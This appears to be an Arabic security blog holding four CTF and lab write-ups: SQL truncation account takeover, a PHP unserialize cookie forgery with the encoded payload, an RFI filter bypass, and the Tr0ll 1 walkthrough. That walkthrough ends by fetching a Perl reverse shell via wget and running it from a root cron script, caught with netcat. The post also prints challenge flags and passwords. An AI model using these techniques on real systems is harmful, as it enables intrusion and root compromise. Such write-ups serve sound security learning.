Saturday, September 3, 2016

SQL Truncation




كل منا يعرف ما هي وظيفة الــDatabase و طبعا صممنا تطبيقات و مواقع تعتمد عليها في تخزين و استرجاع البيانات 
اليوم في هذا المقال سوف نناقش واحدة من اخطر ثغرات قواعد البيانات و هي الـSQL Truncation

       ما هي الــSQL Truncation:
         هي خاصية في mysql وظفتها  حذف النص المدخل الي قواعد البيانات اكبر من 20  حرف 
          تحتوي علي مساحة فارغة كبيرة بينها  اي ان قواعد البيانات تقوم بحذف اذا كان المدخل اكبر من 20 حرف 


          الثغرة :


         الثغرة تحدث عندما يكون هنالك عندم تناسق بين التطبيق و قواعد البيانات اي اذا ادخل المستخدم مثلا

        admin                 xxxxxxxxxxxx في هذه الحالة تقوم الــDatabase بحذف النص الزائد و 
         حفظ كلمة admin في قواعد البيانات




        الان ناخذ مثال عملي علي هذا الموضوع و هو عبارة عن تحدي CTF 

       Root-me

     التحدي عبارة عن تسجيل الدخول باستخدام كلمة admin و لكن نحن لا نعلم ماهي كلمة السر 
     فكر معي فكر فكر 
     اذا قرات بداية المقال تكلمنا عن هذه الثغرة و تقوم قواعد البيانات بحذف المساحة الزائدة عن 20 جميل
      و يحفظ المستخدم الجديد باسم بعد حذف

      المساحة ما رايك في عمل تسجيل لمستخدم جديد بنفس اسم admin اضافة الي مساحة اكبر من 20 ماذا يحدث 

       يحدث تحديث لكلمة السر لمستخدم و هنا تاتي الخطورة




                كما في الصورة يمكننا اضافة مستخدم جديد و سوف بيانات التسجيل كالاتي 



                الاسم admin                 xxxxxxxxxxxx

                  كلمة السر PikachLOLOLO




              تمت عملية التسجيل و تم حفظ البيانات الان 




                   الان ندخل كلمة السر التي قمنا بتسجيل الحساب بها و هي PikachLOLOLO



                        تم الحصول علي الــflag 

                        flag : J41m3Qu4nD54Tr0nc


                               المصادر
http://resources.infosecinstitute.com/sql-truncation-attack/


Friday, July 8, 2016

PHP Serialization challenge

PHP Serialization











كل عام و انتم بالف خير و عيد سعيد و كل الامنيات محققة
اليوم مع حل تحدي جديد التحدي هو تحدي من مجموعة من تحديات في مسابقة root-me.org  هو موقع يحتوي علي مجموعة كبيرة من التحديات المتنوعة .

الان نعد الي التحدي الذي امامنا رابط التحدي  قبل رابط التحدي عليك دخول الرابط هذا الان نفتح الرابط
المتطلبات php interpreter و burpsuite .
من الصورة يظهر لنا يجب تسجيل الدخول يجب ان يكون admin حقو لو جربت guest لن يفيد في شئ 




امممممممم ما الخطوة القادمة اممممم هناك رابط يعرض لك الكود المستخدم في هذه الصفحة نستعرض الكود


<?php
define
('INCLUDEOK'true);session_start();

if(isset(
$_GET['showsource'])){
    
show_source(__FILE__);
    die;
}
/******** AUTHENTICATION *******/
// login / passwords in a PHP array (sha256 for passwords) !
require_once('./passwd.inc.php');


if(!isset(
$_SESSION['login']) || !$_SESSION['login']) {
    
$_SESSION['login'] = "";
    
// form posted ?
    
if($_POST['login'] && $_POST['password']){
        
$data['login'] = $_POST['login'];
        
$data['password'] = hash('sha256'$_POST['password']);
    }
    
// autologin cookie ?
    
else if($_COOKIE['autologin']){
        
$data unserialize($_COOKIE['autologin']);
        
$autologin "autologin";
    }

    
// check password !
    
if ($data['password'] == $auth$data['login'] ] ) {
        
$_SESSION['login'] = $data['login'];

        
// set cookie for autologin if requested
        
if($_POST['autologin'] === "1"){
            
setcookie('autologin'serialize($data));
        }
    }
    else {
        
// error message
        
$message "Error : $autologin authentication failed !";
    }
}
/*********************************/?>



<?php// message ?if(!empty($message))
    echo 
"<p><em>$message</em></p>";// admin ?if($_SESSION['login'] === "superadmin"){
    require_once(
'admin.inc.php');
}
// user ?elseif (isset($_SESSION['login']) && $_SESSION['login'] !== ""){
    require_once(
'user.inc.php');
}
// not authenticated ? else {?><?php}

if(isset(
$_SESSION['login']) && $_SESSION['login'] !== ""){
    echo 
"<p><a href='disconnect.php'>Disconnect</a></p>";
}
?>


جميل بعض عرض الكود يظهر هنالك استخدام لدوالة مصابة و هي serialize و unserialize وهذا النوع من الدوال مصابة بثغرات تكمن المخترق من اضافة اكواد php الان اترك ليكم بعض المقالات التي تشرح هذا النوع من الثغرات

https://tom.vg/2013/09/wordpress-php-object-injection/
https://crowdshield.com/blog.php?name=exploiting-php-serialization-object-injection-vulnerabilities
https://www.notsosecure.com/remote-code-execution-via-php-unserialize/
https://www.notsosecure.com/remote-code-execution-via-php-unserialize/


الان نرجع الي الكود مرة اخر لنحدد اسم المتسخدم superadmin تعمل هذا الدوال مع الcookie من اجل تمكين المستخدم الاتصال اعتماد علي البيانات التي تستخدمها الدالتان التي ترسل عندما يدخل المستخد كلمة الاسم و اسم المستخدم 
ترسل هذا البيانات علي شكلك مصفوفة
جميل الان نملك اسم المستخدم نرسل انت نرسل هذا البيانات عن طريق الparameter 
autologin حتي نتمكن من التسجيل الان نعد الي موضوعنا لدينا الاسم يمكن جعل كلمة السر true اي صحيحة ونتمكن تسجيل الدخول لكن كيف هذا نرجع الي محرر الــphp 
نكتب كود بسيط جدا




شرح الكود
اولاُ انشاء مصفوفة تحتوي علي الاسم و كلمة السر هي القيمة True بعد ذلك بنقوم بانشاء متغير يحتفظ بقيمة الدالة التي مرر ليها المصفوفة و بعد ذلك عمل urlencode من اجل ارسال البيانات عن طريق الcookie autologin الان 
هذا هو نتاج الكود
a%3A2%3A%7Bs%3A5%3A%22login%22%3Bs%3A10%3A%22superadmin%22%3Bs%3A8%3A%22password%22%3Bb%3A1%3B%7D

نفتح الموقع عن طريق الــBurp suite

الان نقوم بتعدل الــcookie


الان كما نلاحظ قمنا بتغير القيم الموجود في الــ request الي القيم التي لدينا
الان نرسل الطلب 



الان نحجنا بالدخول و حصلنا علي كلمة السر الان نعد الي رابط التحدي ونضع كلمة السر حتي نحصل علي النقاط

كلمة السر هي  !NoUserInputInPHPSerialization





الي اللقاء مع تحدي جديد
Wednesday, June 8, 2016

RFI To RCE zixem challenge

RFI To RCE





 RCE و الحصول عن طريقها علي  RFI   يوم جميل و تحدي جميل تحدي اليوم عبارة عن ثغرة  

وهي ثغرة معروف لدي  المبرمجين في بعض الاحيان ياخذ الكسل بعض المبرمجين في تضمين دالة دون عمل اي  filter لمحتوي parameter الذي عن طريقة الصفحة من اشهر الدوال التي تقوم بعمل اضافة محتوي صفحة من صفحة اخير هي الدالة include و require التي تقوم بضافة محتوي صفحة الي اخير و هي انواع local و هي تسمح ليك فقط باضافة المتحوي الذي يوجد في الموقع ويكون هذا النوع موجود اذا قام المبرمج بعض تعديل بيسط في ملف الphp.ini و النوع الثاني هو Remote وهو اخطر الانواع و يعتبر من الانواع التي تعطي المخترق الصلاحية للاضافة محتوي يحتوي علي دوالة تمكنة من اختراق السيرفر و التحكم الكامل به و ويمكن النوعين السابقين المخترق علي تصفح ملفات الموقع و الملفات الحساسة التي تحتوي علي كلمات سر 
و سوف نعطي مثال علي نوع هذه الدوال 

في الصورة اعلاه صورة مبسطه لعمل الدالة include و كيفية عملها الان نعد الي التحدي 





جميل شديد هذا هو المطلوب منك تنفيذ الدالة phpinfo عن طريقة الرابط هذا و تضمين الرابط داخل الــparameter 
page



الصورة اعلاه توضح محتوي الرابط المطلوب منك وضعة في الصفحة جميل جدا 

الان علينا تجرب الرابط المعطي لنا


تبا لم يعمل معنا و تم رصد محاولة اختراق 

الان كما تلاحظ معني في صورة التحدي انه يعطيك hint بسيط منك اجل مساعدك 


رائع الصورة توضح ان هنالك نوع من عملية الــfilter موضحة في الصورة الان علينا تحليل ما موجود في الصورة من كود 
انه بعد data , http,https,ftp 
واي شئ متبوع يتم رصد المحاولة كما نعمل هذا النوع صعب تخطية لانه يتضمن جميل الارقام و الحروف كبيرة و صغيرة
الان فكره معي كيف يمكننا تخطي هذا النوع كما نلاحظ لا جود لاي نوع من الرموز الخاضة هنا
لكن هل كل الرمز تعمل مع كود الــphp طبعا لا 
بعد تجرب جميع الرموز الخاصة المتعلقة بلغة php اخيرا وجد الرمز الذي يمكننا من تخطيها هو @ نضع الرمز بعد // كما هو معلوم اي شي بعد هذه العلامة تتم عليه عملية filter 



Done 
Wednesday, March 30, 2016

Tr0ll 1








اليوم سوف نطرق الي حل تحدي Tr0ll 1 و عبارة عن تحدي يعتمد علي التسلسل في العمليات حتي تتمكن من اختراق النظام و الحصول علي صلاحيات Root 

لتنزيل التحدي من هنا Tr0ll 1

الخطوات

اولا اكتشاف الــIP الخاص بالنظام المصابة

وذلك عن طريق الــNMAP

 nmap -Pn 192.168.204.1/24

Pn  حيث يقوم هذا الخيار علي عمل Ping scan حتي يحدد الاجهزة المتصلة في الشبكة 



كما يظهر في الصورة الـــIP هو 192.168.204.146 ملاحظة بيسطة يوجد جهاز متصل اخر والــIP هو 192.168.204.1 كما هو ظاهر في عالم الشبكات عبارة عن gateway    لتاكد من هذا الامر افتح الــcmd و اكتب الامر التالي ipconfig و ستلاحظ نفس الــIP 



الان دعنا نعد لـ192.168.204.146 
كما في الصورة الخدمات التي تعمل عليه هي Ftp ssh http الان خذ العنوان واذهب الي المتصفح 

ممتاز دعنا نبحث اي شئ مفيد في محتوي الصفحة



لا يوجد اي شئ مفيد في المحتوي
اذا بما تفكر ان نذهب الي ssh لايمكن الا ان يكون لديك اسم و كلمة سر للاتصال
جيد ان نذهب الي ftp 

جيد افتح الــcmd و اكتب ftp 192.168.204.146

جيد سوف يسالك من كلمة السر كما نعمل المستخدمين في ftp ان المستخدم anonymous يطلق علي الشخصة الذي يتصفح من دون ان تكون له كلمة سر و هو النوع الاكثر شيوعاً في مواقع التنزيل سوف يسالك من كلمة السر اضغط Enter سوف تتصل كما موضح بالصورة التي في الاعلي

الان سوف نقوم بعرض محتويات السيرفر  بستخدام الامر dir او ls 



كما هو موضح باللون الاحمر هنالك ملف package سوف نقوم بتنزيلة و تصفح محتوي الملف باستخدام برنامج الــwireshark لمعرفة محتوياه

سوف نقوم تنزيل الملف باستخدام الامر get lol.pcap 

ممتاز تم تنزيل الملف 


الان نقوم بفتح الملف 



الان كما هو مبين الان الــpackage تحتوي علي بيانات  الان نقوم بعرض المحتوي
ممتاز الان نعمل محتوي الــpackage هو رسالة نلاحظ اسم غريب sup3rs3cr3tdirlol   ناخذ الاسم الي المصتفح و نضيفة الي العنوان 




رائع الرابط يحتوي علي ملف علينا تنزل الملف  عن طريق الامر  wget http://192.168.204.146/sup3rs3cr3tdirlol/roflmao
 و رؤية محتوى الملف   او تنفيذ المف

سوف نقوم بتنفيذ الملف اذا كان يحتوي علي رسالة تقود الي الحل

كما هو معلوم طريقة تنفيذ الملف عند تنفيذ الملف يظهر لينا  
0x0856BF وهو عنوان في الذاكرة و لكن ما الفائدة منه تذكر معي العنوان الذي وجد في الـpackage قاد الي هذا الملف سوف ناخذ العنوان و نذهب الي المتصفح 




كما توقعنا تمام العنوان قاد الي خطوة اخري 

يوجد ملف في المسار good_luck/ الملف يحتوي علي اسماء 


جميل الان نذهب الي المسار الثاني  /this_folder_contains_the_password كما واضح من الاسم حيث يحتوي علي ملف واحد و هو Pass.txt 



جميل الملف يحتوي علي كلمة واحد فقط  


الان لدينا الاسماء و كلمة السر بستخدام اي من برامج تخمين كلمات السر لدخول عن طريق SSH

برامج مثل hydra او patator 


تذكر دائما اي شئ عبارة عن معلومة مفيد حتي و لو كان اسم ملف بعد تجرب جميع الاسماء مع كلمة السر الموجودة في الملف لاشئ مفيد ماذا لو كانت كلمة السر هي اسم الملف بعد تجريب جميع الاسماء مع اسم ملف كلمة السر تبين ان المستخدم هو overflow الان نتصل عن طريق ssh


ssh overflow@192.168.204.146

كلمة السر هي Pass.txt


بعد الاتصال يتم قطع الاتصال بعد فترة من الزمن كما نعلم ان في نظام التشغيل تكون service تسمى cron الفائدة من هذه  service تقوم  باجراء العمليات في فترات زمينة ثابت





جميل كما في الصورة حاولنا معرفة محتوي الملف لكن لا نمتلك الصلاحيات الكافية لتمكننا من ذلك 

الان لدينا حل واحد هو معرفة ماذا تجري الـــservice يظهر ذلك في الــlog 



كما في الصورة حيث وجدنا ان الملف الذي يتم تنفيذه هو cleaner.py 
الان الخطوة القادمة هي ايجاد الملف باستخدام الامر find 

find / -name 'cleaner.py' 2>/dev/null





الان وجدنا الملف الان علينا رؤية الصلاحيات التي اعطة لملف



كما في الصورة ان الصلاحيات هي صلاحيات root اي شئ يتم تنفيذ عن طريقة هذا الــScript يطبق بصلاحيات root الان  ننظر الي محتوي الملف 





الــScript يقوم بعملية مسح لمحتوى المسار /tmp الان فكر كيف ناخذ صلاحات مالك هذا الملف وهو الــRoot يمكننا تحميل ملف Backoor او Reverse-shell من اجل الحصول علي هذه الصلاحيات

اولا  تنزل الملف و الملف عبارة عن Reverse-shell حيث يوجود في المسار الاتي في توزيعة Kali linux 
/usr/share/webshells سوف نختار perl-reverse-shell.pl  ونقوم بالتعديل علي الملف و تغير الــIP الي العنوان الخاص بنا و هو  192.168.204.145



و نقوم بتغير الــPort الي اي رقم حتي نقوم بستقبال اتصال عن طريقة 


نقوم بنقل الملف الي /var/www/ في نظام الــkali linux و اعادة تسمية الملف حتي يكون سهل في الحفظ من اجل الوقت قمنا بتسمية الملف الي perl.pl و الان نذهب الي تنزل الملف 
wget http://192.168.204.145/perl.pl





الان قمنا بتنزل الملف لكن كما نعلم سوف يتم مسح الملف عن طريق الــScript cleaner.py الخطوة القادمة هي السرعة في ادعاء العملية اول تغير متحتوي cleaner.py ثم تنزيل الملف ثم عمل تنصت علي الاتصال 




الان قمنا بالتعديل بحيث بقوم بتنفيذ الملف بدل من حذفة الان نقوم بتنزل الملف و اعطاء صلاحية التنفيذ

الان قمنا بتنزيل الملف و اعطاء صلاحية التنفيذ 

الان نقوم بعميل استقبال الاتصال عن طريق netcat 


انتظار استقبال الاتصال 
و عمل تاكد من الصلاحية من خلال whoami    


حصلنا علي صلاحية Root 


Mi9



































عربي باي